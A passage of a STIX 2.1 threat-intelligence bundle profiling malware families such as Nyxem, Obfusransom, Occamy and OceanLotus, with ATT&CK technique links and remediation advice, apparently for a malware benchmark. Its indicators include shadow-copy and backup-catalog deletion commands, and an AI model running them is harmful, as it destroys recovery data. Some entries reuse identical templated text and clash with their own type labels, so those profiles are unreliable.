      "description": "Nystprac exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--455d1a1d-2531-5050-b87c-190b56e4d173",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f570be5f-5b84-5d63-a407-ba1f5b1bb99e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nystprac exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2a8d31a-0432-5426-ab75-b22f3eb9933f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f570be5f-5b84-5d63-a407-ba1f5b1bb99e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nystprac exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7a467e42-3c48-51a8-b16b-2cd5e41242cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nyxem",
      "description": "<h3>Executive Summary</h3>\nNyxem (widely known as Kama Sutra, Blackmal, or MyWife) is a highly destructive mass-mailing computer worm that gained global infamy in early 2006. It combines aggressive social engineering (often using sexually explicit lures) with a devastating time-bomb payload designed to systematically overwrite and destroy critical user documents on the third day of every month.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nNyxem propagates almost exclusively via email. It arrives with enticing subject lines (e.g., \"Miss Lebanon 2006,\" \"Kama Sutra pic,\" \"Fw: true romance\") and an attached executable, often disguised with a double extension (e.g., `.doc.exe` or `.pdf.zip`) or a provocative icon.\n\nUpon execution, Nyxem performs the following actions:\n<ul>\n<li><strong>Mass Mailing and Harvesting:</strong> The worm harvests email addresses from the local system (address books, cached web pages) and uses its own SMTP engine to aggressively mail copies of itself to all found contacts.</li>\n<li><strong>Security Software Neutralization:</strong> Nyxem actively hunts for and terminates processes related to antivirus software, firewalls, and security monitoring tools, effectively blinding the host.</li>\n<li><strong>The \"Time Bomb\" Payload (Destructive Data Wiping):</strong> The most critical feature of Nyxem is its destructive payload. It checks the system clock. On the 3rd day of every month, it activates a wiper routine that searches for and overwrites files with specific extensions (`.doc`, `.xls`, `.mdb`, `.mde`, `.ppt`, `.pps`, `.zip`, `.rar`, `.pdf`, `.psd`, `.dmp`) with the text \"DATA ERROR [47 0F 94 93 F4 K5].\"</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nNyxem is classified as a critical, destructive threat. The \"time bomb\" payload ensures that if the infection is not caught within a specific window, the organization will suffer catastrophic, unrecoverable data loss across all infected endpoints. The mass-mailing capability also causes severe network congestion.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Isolation and Clock Modification:</strong> If an active infection is suspected and it is nearing the 3rd of the month, immediately isolate the endpoint and, if necessary, alter the system clock to prevent the trigger condition from executing while remediation occurs.</li>\n<li><strong>Outbound SMTP Blocking:</strong> Block unauthorized outbound Port 25 (SMTP) traffic at the firewall to halt the worm's propagation.</li>\n<li><strong>Targeted Malware Removal:</strong> Run comprehensive anti-malware scans (often from a safe, bootable environment since the worm disables local AV). Because Nyxem *overwrites* files rather than encrypting them, recovery of the targeted documents requires restoring from offline, air-gapped backups.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "W32.Nyxem",
        "Worm.KamaSutra",
        "W32/Blackmal",
        "Worm:Win32/MyWife"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nyxem",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nyxem"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ac67892-1c52-54e0-a047-fec6d8d102d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7a467e42-3c48-51a8-b16b-2cd5e41242cb",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nyxem exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--45453eb2-bd2e-5526-81e0-566f860f381d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7a467e42-3c48-51a8-b16b-2cd5e41242cb",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nyxem exhibits technique T1485 (Data Destruction)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac66881c-e607-5c06-8ed9-1457f2da92e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7a467e42-3c48-51a8-b16b-2cd5e41242cb",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nyxem exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bb280751-ac63-5e6d-8b73-0e69db46790e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Oasisminus",
      "description": "<h3>Executive Summary</h3>\nOasisminus is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nOasisminus is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Oasisminus operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Oasisminus ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Oasisminus receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Oasisminus infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Oasisminus executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Oasisminus frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Oasisminus",
        "Downloader.Oasisminus",
        "Win32/Oasisminus"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Oasisminus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/oasisminus"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f29ad20d-ff41-5088-baa0-9cc05c04a7eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bb280751-ac63-5e6d-8b73-0e69db46790e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oasisminus exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--696e060e-68ac-5bc6-9dd8-bfc422fa68e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bb280751-ac63-5e6d-8b73-0e69db46790e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oasisminus exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0cf061fb-3dda-5f91-b34f-9b62ee66358b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bb280751-ac63-5e6d-8b73-0e69db46790e",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oasisminus exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dc0097a6-8609-5c12-8900-d62f0cb1a1bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Obfusransom",
      "description": "Ransomware:Win32/Obfusransom is a highly critical, heuristic detection string utilized by antivirus engines (specifically Microsoft Defender) to flag a file that is actively exhibiting ransomware behaviors (`T1486`), but whose static signature has been heavily obfuscated, packed, or encrypted (`T1027`) to bypass traditional detection. This detection indicates that a ransomware payload is likely executing *right now* on the endpoint.<br><br><b>Understanding Obfusransom (Heuristic Ransomware Detection)</b><br>To an end-user, this detection often happens too late\u2014as files are actively being encrypted, or right before the ransom note is dropped. For an incident response team, an 'Obfusransom' alert is a 'Break Glass' emergency. It means a threat actor has already bypassed perimeter defenses, delivered a payload, and initiated the final, destructive phase of the attack.<br><br><b>Execution and Obfuscation Mechanics</b><br>The file triggering the 'Obfusransom' alert is typically a custom-packed variant of a known ransomware family (like LockBit, Conti, or BlackCat). The attacker uses commercial or custom packers (`T1027.002`) so the file hash doesn't match any known threats. However, when the file executes, the AV engine detects its *behavior*: the rapid opening, encrypting, and renaming of hundreds of user files in quick succession (`T1486`), the deletion of Volume Shadow Copies via `vssadmin.exe` (`T1490`), or the dropping of `.txt` or `.html` ransom notes.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is immediate, catastrophic data loss and extortion. Host-based IoCs include EDR alerts for mass file modification, the execution of `vssadmin.exe delete shadows /all /quiet` or `wbadmin delete catalog -quiet`, and the presence of encrypted files with anomalous extensions (e.g., `.locked`, `.crypted`). Network IoCs may include large data exfiltration (double extortion) immediately preceding the encryption event. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Obfusransom",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/obfusransom"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f37567a2-c091-564e-8a86-3101f0bb6c3d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc0097a6-8609-5c12-8900-d62f0cb1a1bd",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Obfusransom exhibits technique T1486 (Data Encrypted for Impact (The core behavior triggering the heuristic alert))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d71ab44-6383-5a11-9448-95af824be349",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc0097a6-8609-5c12-8900-d62f0cb1a1bd",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Obfusransom exhibits technique T1027 (Obfuscated Files or Information (The reason it was flagged heuristically rather than by a specific family name))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--50b4a3d8-a425-5e90-bbb1-696c6bca3256",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc0097a6-8609-5c12-8900-d62f0cb1a1bd",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Obfusransom exhibits technique T1490 (Inhibit System Recovery (Deleting shadow copies to prevent restoration))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5ead93d8-6925-54b9-a6b4-bcc5932e4db7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Obrypser",
      "description": "<h3>Executive Summary</h3>\nObrypser is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nObrypser is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Obrypser operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Obrypser ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Obrypser receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn Obrypser infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Obrypser executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Obrypser frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Obrypser",
        "Downloader.Obrypser",
        "Win32/Obrypser"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Obrypser",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/obrypser"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--074f628c-8865-5909-a265-ecb871e43c03",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ead93d8-6925-54b9-a6b4-bcc5932e4db7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Obrypser exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e838b5e8-8432-5c91-bc1d-f699a38963b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ead93d8-6925-54b9-a6b4-bcc5932e4db7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Obrypser exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--63586f25-a2a1-505a-af76-7df46860495c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ead93d8-6925-54b9-a6b4-bcc5932e4db7",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Obrypser exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--44c9e304-e401-594b-a1e7-f3932274220c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Obsidium",
      "description": "Obsidium (cataloged across security vendors and binary analysis platforms under signatures including Packer:Win32/Obsidium, Trojan:Win32/Obsidium, and Trojan-Ransom.Win32.Obsidium) represents malicious binaries packaged and obfuscated using the commercial Obsidium software protector. While Obsidium was originally engineered as legitimate intellectual property and licensing protection software, threat actors, trojan distributors, and ransomware syndicates systematically weaponize its advanced anti-reverse-engineering capabilities to shield malicious payloads from static and heuristic antivirus scanners. Executables packed with Obsidium feature sophisticated virtual machine (VM) code virtualization that translates native x86/x64 instructions into proprietary, randomized bytecode interpreted at runtime. The protector incorporates aggressive anti-debugging checks (monitoring the Process Environment Block BeingDebugged flag and NtQueryInformationProcess), hardware breakpoint detection, RDTSC timing discrepancy analysis, memory integrity checksumming, and polymorphic entry-point stubs to confound automated sandbox analysis. (Observed samples in benchmark: 57)",
      "is_family": true,
      "malware_types": [
        "resource-exploitation"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Packer:Win32/Obsidium",
        "Trojan:Win32/Obsidium",
        "Trojan-Ransom.Win32.Obsidium",
        "Packer.Obsidium",
        "Win32/Obsidium"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Obsidium",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/obsidium"
        }
      ],
      "labels": [
        "packer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ee094bb0-ec1f-584c-ac72-a0090419b2e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--44c9e304-e401-594b-a1e7-f3932274220c",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Obsidium exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b7e95bd0-2afc-563f-afdf-4a7b6a886660",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--44c9e304-e401-594b-a1e7-f3932274220c",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Obsidium exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5340c6e6-ce02-52e6-9f5d-7c2e71b66c7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--44c9e304-e401-594b-a1e7-f3932274220c",
      "target_ref": "attack-pattern--abf165c6-7223-5077-a3ea-1854fa56e62b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Obsidium exhibits technique T1620 (Reflective Code Loading)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--16ec7c17-be34-59ff-a1cc-1f4d4a22ed15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--44c9e304-e401-594b-a1e7-f3932274220c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Obsidium exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b40648f3-5e7b-5e64-bca0-3413afcc71d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--44c9e304-e401-594b-a1e7-f3932274220c",
      "target_ref": "attack-pattern--cc77f11e-b255-5f7b-94cd-4cc31b548a03",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Obsidium exhibits technique T1129 (Shared Modules)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5a282723-64cc-5aec-900c-2b373a6275af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Occamy",
      "description": "Trojan:Win32/Occamy.C (widely cataloged across Microsoft Defender and endpoint telemetry as Trojan:Win32/Occamy or Win32/Occamy) is a high-severity, multi-stage trojan dropper and credential harvesting platform. Frequently distributed disguised within video game repacks, software cracks, key generation tools, and weaponized ISO mounts (often masquerading as modified DLL files like steam_api.dll), Occamy is engineered to establish covert backdoor control over compromised Windows endpoints. Upon execution, Occamy extracts system information, dumps cached browser credentials and session tokens, establishes persistence via the Windows Run registry keys, and communicates with remote C2 servers. The trojan functions as a modular initial access loader, capable of downloading secondary malware payloads\u2014including ransomware encryptors, cryptocurrency miners, and banking trojans\u2014directly into memory. (Observed samples in benchmark: 589)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Occamy",
        "Trojan:Win32/Occamy.C",
        "Trojan:Win32/Occamy",
        "Win32/Occamy",
        "Occamy Dropper",
        "Trojan.Occamy",
        "Occamy Stealer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Occamy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/occamy"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4752bff1-fe32-52cb-a5b6-21eb4a936c96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a282723-64cc-5aec-900c-2b373a6275af",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Occamy exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--794d0d9a-00a2-56d4-8a76-2ff243ff4e80",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a282723-64cc-5aec-900c-2b373a6275af",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Occamy exhibits technique T1055.012 (Process Injection: Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--85a56a0e-c2e1-505e-b3cd-c14e11bc47e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a282723-64cc-5aec-900c-2b373a6275af",
      "target_ref": "attack-pattern--64b1ee32-1cf5-53c5-8a32-e95bd2440cc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Occamy exhibits technique T1546.003 (Event Triggered Execution: Windows Management Instrumentation Event Subscription)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad76263c-8a7f-5a10-81e5-7902c0050975",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a282723-64cc-5aec-900c-2b373a6275af",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Occamy exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a35b561-115d-57f8-89e5-d253f505600b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a282723-64cc-5aec-900c-2b373a6275af",
      "target_ref": "attack-pattern--5f137302-ed51-5f7c-b7d8-8bc4ace0861b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Occamy exhibits technique T1027.005 (Obfuscated Files or Information: Indicator Removal from Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--90198a09-1c28-54e0-a764-694e2953818c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Oceanlotus",
      "description": "<h3>Executive Summary</h3>\nOceanLotus (also widely known as APT32 or Canvas Assassin) is a highly sophisticated Advanced Persistent Threat (APT) group believed to be aligned with the state interests of Vietnam. Active since at least 2013, OceanLotus conducts targeted cyber espionage campaigns against foreign corporations (particularly in the manufacturing, consumer products, and hospitality sectors), foreign governments, dissidents, and journalists.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nOceanLotus relies heavily on highly targeted, culturally specific spear-phishing campaigns containing weaponized attachments (often utilizing CVE-2017-11882) or strategic web compromises (Watering Hole attacks) to gain initial access.\n\nTheir toolset is highly customized and evinces a deep understanding of multiple operating systems:\n<ul>\n<li><strong>Cross-Platform Capabilities:</strong> OceanLotus is unique in its deployment of sophisticated backdoors tailored for both Windows and macOS environments. Their macOS malware is often disguised as legitimate software installers or documents.</li>\n<li><strong>Custom Backdoors (Cobalt Strike & Custom Implants):</strong> The group frequently utilizes heavily obfuscated variants of Cobalt Strike alongside custom-built, multi-stage backdoors (like Windshield or Denis) designed for long-term espionage, file exfiltration, and lateral movement.</li>\n<li><strong>Evasion and Obfuscation:</strong> The group employs advanced evasion techniques, including deep shellcode obfuscation, in-memory execution, Steganography (hiding payloads in image files), and utilizing legitimate cloud services (like Google Drive) for C2 communication to bypass network perimeter defenses.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of OceanLotus (APT32) activity is a critical, \"glass break\" security incident. It indicates that the organization is actively being targeted by a well-resourced, highly skilled nation-state actor focused on long-term intellectual property theft and surveillance.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Assume 